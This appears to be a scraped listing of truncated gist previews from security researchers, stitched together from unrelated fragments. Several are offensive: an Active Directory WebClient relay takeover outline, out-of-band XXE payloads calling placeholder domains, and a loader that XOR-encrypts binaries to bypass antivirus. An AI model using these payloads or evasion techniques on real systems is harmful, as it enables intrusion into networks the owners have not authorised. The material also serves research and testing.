klezVirus

using System.Runtime.InteropServices;
using System;

/* 
 * Simple C# PoC to enable WebClient Service Programmatically
 * Based on the C++ version from @tirannido (James Forshaw)
 * Twitter: https://twitter.com/tiraniddo
 * URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
 * 
 * Compile with:

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

mgraeber-rc

Add-Type -OutputAssembly hello.exe -TypeDefinition @'
using System;

public class Hello {
    public static void Main(string[] Args) {
        System.Console.WriteLine("Hello, world!");
        System.Console.Read();
    }
}
'@

mikesparr

Secure GCP infrastructure checklists

Initial setup

• Configure org policies
  • Restrict allowed IAM domains
  • Disable key download
  • Disable default network
  • Disable external IP
  • Require shielded VM
• Prepare for VPC service controls (data protection)

m-radzikowski

#!/usr/bin/env bash

set -Eeuo pipefail
trap cleanup SIGINT SIGTERM ERR EXIT

script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd -P)

usage() {
  cat <<EOF
Usage: $(basename "${BASH_SOURCE[0]}") [-h] [-v] [-f] -p param_value arg1 [arg2...]

HarmJ0y

@Library('ci-jenkins-common') _

// Jenkins build pipeline (declarative)

// Project:         Seatbelt
// URL:             https://github.com/GhostPack/Seatbelt
// Author:          @tifkin_/@harmj0y
// Pipeline Author: harmj0y

def gitURL = "https://github.com/GhostPack/Seatbelt"

ngregoire

#!/bin/bash

# Three arguments: ROOT_DIR, PATTERN, OPTIONS
# Search below $ROOT_DIR for PDF files matching $PATTERN
# $OPTIONS is passed to pdfgrep (ex: grep-pdf . 'some words' -h -C5)

# ROOT_DIR

if [ -z "$1" ]; then
    echo "! Argument ROOT_DIR is needed!"

honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

honoki

#!/usr/bin/python3
import requests

def is_blacklisted(domain):
    blacklist  = open("/path/to/blacklist.txt")
    return domain in [w.strip() for w in blacklist.readlines()]

def request(flow):
    req = flow.request.method + ' ' + flow.request.path + ' ' + flow.request.http_version + '\n'

Arno0x

/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader

This partial rewrite of @Flangvik Netloader includes the following changes:

	- Allow loading of an XOR encrypted binary to bypass antiviruses
		To encrypt the initial binary you can use my Python transformFile.py script.
		Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor